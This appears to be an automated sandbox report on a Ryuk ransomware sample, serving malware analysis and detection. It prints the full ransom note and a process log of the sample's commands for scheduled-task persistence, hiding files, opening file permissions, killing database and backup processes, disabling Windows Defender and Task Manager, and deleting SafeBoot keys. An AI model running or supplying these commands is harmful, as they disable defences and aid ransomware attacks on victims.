Overview

overview

10

Static

static

3

ecd9d8ef99...JC.exe

windows7-x64

10

ecd9d8ef99...JC.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    137s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-07-2023 14:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ecd9d8ef99eb98exe_JC.exe

  • Size

    889KB

  • MD5

    ecd9d8ef99eb9813fa4eced549ea4d88

  • SHA1

    7db7bff4ca9e94bbfe026c2282f3ce36e423f183

  • SHA256

    fe4547b20cf40de0e33ed545949f3e0dfef815b5add252d233177386910643a6

  • SHA512

    2882d1b8ca5654b142e368f2bcb712bf9d8e3e096aacaf5a5f6ffb62b3062df0245db05e13bdc61ab2bd676349c751b87e8880ab034e73d6cd94e29cc165648b

  • SSDEEP

    12288:GFGYwyCMcRzRjWYgeWYg955/155/KQurE+HG8dSyjCtRronBeSrBa:GFGYtSNBQKEmG8HjCXrUVa

Score
10/10
ryukdiscoveryevasionransomware

Malware Config

Extracted

Path

C:\ProgramData\RyukReadMe.txt

Ransom Note
Your network has been penetrated. All files on each host in the network have been encrypted with a strong algorithm. Backups were either encrypted Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover. We exclusively have decryption software for your situation. More than a year ago, world experts recognized the impossibility of deciphering by any means except the original decoder. No decryption software is available in the public. Antiviruse companies, researchers, IT specialists, and no other persons cant help you decrypt the data. DO NOT RESET OR SHUTDOWN - files may be damaged. DO NOT DELETE readme files. To confirm our honest intentions.Send 2 different random files and you will get it decrypted. It can be from different computers on your network to be sure that one key decrypts everything. 2 files we unlock for free To get info (decrypt your files) contact us at [email protected] or [email protected] You will receive btc address for payment in the reply letter Ryuk No system is safe

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Renames multiple (60) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (7863) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 2 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\ecd9d8ef99eb98exe_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\ecd9d8ef99eb98exe_JC.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /RU SYSTEM /RL HIGHEST /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\system32\schtasks.exe
        schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /RU SYSTEM /RL HIGHEST /F
        3⤵
        • Creates scheduled task(s)
        PID:4364
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c copy C:\ProgramData\ryuk.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"
      2⤵
      • Drops startup file
      PID:2060
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c copy C:\ProgramData\ryuk.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"
      2⤵
        PID:3408
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2052
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /F
          3⤵
          • Creates scheduled task(s)
          PID:560
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3812
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"
          3⤵
          • Drops startup file
          • Views/modifies file attributes
          PID:2704
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN ryk /TR "C:\Users\Admin\AppData\Local\Temp\ecd9d8ef99eb98exe_JC.exe" /RU SYSTEM /RL HIGHEST /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN ryk /TR "C:\Users\Admin\AppData\Local\Temp\ecd9d8ef99eb98exe_JC.exe" /RU SYSTEM /RL HIGHEST /F
          3⤵
          • Creates scheduled task(s)
          PID:2472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RyuK /TR "C:\Users\Admin\AppData\Local\Temp\ecd9d8ef99eb98exe_JC.exe" /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN RyuK /TR "C:\Users\Admin\AppData\Local\Temp\ecd9d8ef99eb98exe_JC.exe" /F
          3⤵
          • Creates scheduled task(s)
          PID:3780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s ryuk.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1584
        • C:\Windows\system32\attrib.exe
          attrib +h +s ryuk.exe
          3⤵
          • Views/modifies file attributes
          PID:3940
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s C:\ProgramData\ryuk.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4852
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\ProgramData\ryuk.exe
          3⤵
          • Views/modifies file attributes
          PID:2268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\Windows\system32\cmd.exe
          cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4392
          • C:\Windows\system32\icacls.exe
            icacls * /grant Everyone:(OI)(CI)F /T /C /Q
            4⤵
            • Modifies file permissions
            PID:2168
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3344
        • C:\Windows\system32\reg.exe
          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
          3⤵
            PID:4572
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM Microsoft.Exchange* && taskkill /F /T /IM pvx* && taskkill /F /T /IM dbsrv* && exit
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3720
          • C:\Windows\system32\cmd.exe
            cmd.exe /c taskkill /t /f /im sql*
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1380
            • C:\Windows\system32\taskkill.exe
              taskkill /t /f /im sql*
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3336
          • C:\Windows\system32\taskkill.exe
            taskkill /f /t /im veeam*
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3828
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c Copy hrmlog1 C:\ProgramData\hrmlog1
          2⤵
            PID:3728
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c Copy hrmlog2 C:\ProgramData\hrmlog2
            2⤵
              PID:4160
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c Copy RYUKID C:\ProgramData\RYUKID
              2⤵
                PID:4996
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c Copy C:\ProgramData\hrmlog1 %userprofile%\Desktop\hrmlog1
                2⤵
                  PID:3688
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c Copy "C:\ProgramData\RyukReadMe.txt " "%userprofile%\Desktop\RyukReadMe.txt "
                  2⤵
                    PID:3788
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4440
                    • C:\Windows\system32\reg.exe
                      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                      3⤵
                        PID:5060
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                      2⤵
                        PID:4984
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                          3⤵
                            PID:1100
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
                          2⤵
                            PID:3064
                            • C:\Windows\system32\reg.exe
                              reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
                              3⤵
                                PID:5108
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
                              2⤵
                                PID:2792
                                • C:\Windows\system32\reg.exe
                                  reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
                                  3⤵
                                    PID:5068

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\RyukReadMe.txt
                                Filesize

                                1KB

                                MD5

                                82ea3d2f6fc005352ce69909570def3d

                                SHA1

                                a43c1be5adc6a957d8a4ed727c3d1d5c648b6397

                                SHA256

                                56edcf4ec31883a101939b9fb4149d4944f00be0663a4a339afbc0910ea085bc

                                SHA512

                                197d2e2e5208de3c338ecc383b0fe016c8b5148d476640b6d1a7054f9417e698070edf38376359a26d43a7c6240d0362744f8fd416d46f723d492f230af1a440

                                Download Submit

                              • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ryuk.exe
                                Filesize

                                889KB

                                MD5

                                ecd9d8ef99eb9813fa4eced549ea4d88

                                SHA1

                                7db7bff4ca9e94bbfe026c2282f3ce36e423f183

                                SHA256

                                fe4547b20cf40de0e33ed545949f3e0dfef815b5add252d233177386910643a6

                                SHA512

                                2882d1b8ca5654b142e368f2bcb712bf9d8e3e096aacaf5a5f6ffb62b3062df0245db05e13bdc61ab2bd676349c751b87e8880ab034e73d6cd94e29cc165648b

                                Download Submit

                              • C:\ProgramData\RYUKID
                                Filesize

                                8B

                                MD5

                                4a612255a55cb05d467ccb54b9ff56b0

                                SHA1

                                25036eb0954767a16b8997d467ea25e2482c3968

                                SHA256

                                c4d8b3cd93a5a21c8354d1c3d1cd57d3b6575551c467ae1a726dd4eaccffceb7

                                SHA512

                                68c9e718145c467dc814cec79d1a18237ce3c042d3591bb1444c5919bd537585962511eac21a18254b59740591776b0560847dbd0af4e19a81839b47ae8f35f6

                                Download Submit

                              • C:\ProgramData\RyukReadMe.html
                                Filesize

                                144B

                                MD5

                                2d581d7f41be876ce36523d0a7f2a64a

                                SHA1

                                279f1b7f8936ab44e75bec3695d68569d8bbca9e

                                SHA256

                                53c9308d8e9a7949f9348038493d87aa1218a148f404a7c340f7d47525ea90dd

                                SHA512

                                4caf790b2d8feb5b2e9bab0ede191cff81a1547221408255e17e5e549a1fcd3615ea502d6d55b843c50a0eeac0bad13a2261d03f8b580ce6a592298340071c53

                                Download Submit

                              • C:\ProgramData\RyukReadMe.txt
                                Filesize

                                1KB

                                MD5

                                82ea3d2f6fc005352ce69909570def3d

                                SHA1

                                a43c1be5adc6a957d8a4ed727c3d1d5c648b6397

                                SHA256

                                56edcf4ec31883a101939b9fb4149d4944f00be0663a4a339afbc0910ea085bc

                                SHA512

                                197d2e2e5208de3c338ecc383b0fe016c8b5148d476640b6d1a7054f9417e698070edf38376359a26d43a7c6240d0362744f8fd416d46f723d492f230af1a440

                                Download Submit

                              • C:\ProgramData\hrmlog1
                                Filesize

                                8KB

                                MD5

                                f0206254aa436f4b295939126dc43bc2

                                SHA1

                                74b2eee424de0da9fae87196a9eee619ee8cfc83

                                SHA256

                                4598ecf84bd6d3187e87536d6dc572d706266babd9e70fc6f56b0030de6b5d66

                                SHA512

                                035847703efab63fa27fdb166aa472a9a058cb2f5d31773b7456268eade0be53a2ee072f1f94ea8c6a7667fefc7acecaaf34faffe7362398577e3e3389a38321

                                Download Submit

                              • C:\ProgramData\hrmlog1
                                Filesize

                                8KB

                                MD5

                                f0206254aa436f4b295939126dc43bc2

                                SHA1

                                74b2eee424de0da9fae87196a9eee619ee8cfc83

                                SHA256

                                4598ecf84bd6d3187e87536d6dc572d706266babd9e70fc6f56b0030de6b5d66

                                SHA512

                                035847703efab63fa27fdb166aa472a9a058cb2f5d31773b7456268eade0be53a2ee072f1f94ea8c6a7667fefc7acecaaf34faffe7362398577e3e3389a38321

                                Download Submit

                              • C:\ProgramData\hrmlog1
                                Filesize

                                8KB

                                MD5

                                f0206254aa436f4b295939126dc43bc2

                                SHA1

                                74b2eee424de0da9fae87196a9eee619ee8cfc83

                                SHA256

                                4598ecf84bd6d3187e87536d6dc572d706266babd9e70fc6f56b0030de6b5d66

                                SHA512

                                035847703efab63fa27fdb166aa472a9a058cb2f5d31773b7456268eade0be53a2ee072f1f94ea8c6a7667fefc7acecaaf34faffe7362398577e3e3389a38321

                                Download Submit

                              • C:\ProgramData\hrmlog2
                                Filesize

                                292B

                                MD5

                                5435f8aa7f1033e7d46508270d00df70

                                SHA1

                                1b365e129fba3e7978fb12182d7dfdae1e8597a7

                                SHA256

                                838e614788a908ebb3bb8edfc5653ef4c3a5771e8e91c421f1e66e9d92cccdb3

                                SHA512

                                bf078fe60f2cd8430092e87a3490ff9ac7f52b99af9b06fb0c7415b540a281eab4204a160638aedbf4e430dec1e014e1b3208d6863f89ee575f946064a306c30

                                Download Submit

                              • C:\ProgramData\hrmlog2
                                Filesize

                                292B

                                MD5

                                5435f8aa7f1033e7d46508270d00df70

                                SHA1

                                1b365e129fba3e7978fb12182d7dfdae1e8597a7

                                SHA256

                                838e614788a908ebb3bb8edfc5653ef4c3a5771e8e91c421f1e66e9d92cccdb3

                                SHA512

                                bf078fe60f2cd8430092e87a3490ff9ac7f52b99af9b06fb0c7415b540a281eab4204a160638aedbf4e430dec1e014e1b3208d6863f89ee575f946064a306c30

                                Download Submit

                              • C:\ProgramData\hrmlog2
                                Filesize

                                292B

                                MD5

                                5435f8aa7f1033e7d46508270d00df70

                                SHA1

                                1b365e129fba3e7978fb12182d7dfdae1e8597a7

                                SHA256

                                838e614788a908ebb3bb8edfc5653ef4c3a5771e8e91c421f1e66e9d92cccdb3

                                SHA512

                                bf078fe60f2cd8430092e87a3490ff9ac7f52b99af9b06fb0c7415b540a281eab4204a160638aedbf4e430dec1e014e1b3208d6863f89ee575f946064a306c30

                                Download Submit

                              • C:\ProgramData\ryuk.exe
                                Filesize

                                889KB

                                MD5

                                ecd9d8ef99eb9813fa4eced549ea4d88

                                SHA1

                                7db7bff4ca9e94bbfe026c2282f3ce36e423f183

                                SHA256

                                fe4547b20cf40de0e33ed545949f3e0dfef815b5add252d233177386910643a6

                                SHA512

                                2882d1b8ca5654b142e368f2bcb712bf9d8e3e096aacaf5a5f6ffb62b3062df0245db05e13bdc61ab2bd676349c751b87e8880ab034e73d6cd94e29cc165648b

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\RYUKID
                                Filesize

                                8B

                                MD5

                                4a612255a55cb05d467ccb54b9ff56b0

                                SHA1

                                25036eb0954767a16b8997d467ea25e2482c3968

                                SHA256

                                c4d8b3cd93a5a21c8354d1c3d1cd57d3b6575551c467ae1a726dd4eaccffceb7

                                SHA512

                                68c9e718145c467dc814cec79d1a18237ce3c042d3591bb1444c5919bd537585962511eac21a18254b59740591776b0560847dbd0af4e19a81839b47ae8f35f6

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\hrmlog1
                                Filesize

                                8KB

                                MD5

                                f0206254aa436f4b295939126dc43bc2

                                SHA1

                                74b2eee424de0da9fae87196a9eee619ee8cfc83

                                SHA256

                                4598ecf84bd6d3187e87536d6dc572d706266babd9e70fc6f56b0030de6b5d66

                                SHA512

                                035847703efab63fa27fdb166aa472a9a058cb2f5d31773b7456268eade0be53a2ee072f1f94ea8c6a7667fefc7acecaaf34faffe7362398577e3e3389a38321

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\hrmlog2
                                Filesize

                                292B

                                MD5

                                5435f8aa7f1033e7d46508270d00df70

                                SHA1

                                1b365e129fba3e7978fb12182d7dfdae1e8597a7

                                SHA256

                                838e614788a908ebb3bb8edfc5653ef4c3a5771e8e91c421f1e66e9d92cccdb3

                                SHA512

                                bf078fe60f2cd8430092e87a3490ff9ac7f52b99af9b06fb0c7415b540a281eab4204a160638aedbf4e430dec1e014e1b3208d6863f89ee575f946064a306c30

                                Download Submit

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe
                                Filesize

                                889KB

                                MD5

                                ecd9d8ef99eb9813fa4eced549ea4d88

                                SHA1

                                7db7bff4ca9e94bbfe026c2282f3ce36e423f183

                                SHA256

                                fe4547b20cf40de0e33ed545949f3e0dfef815b5add252d233177386910643a6

                                SHA512

                                2882d1b8ca5654b142e368f2bcb712bf9d8e3e096aacaf5a5f6ffb62b3062df0245db05e13bdc61ab2bd676349c751b87e8880ab034e73d6cd94e29cc165648b

                                Download Submit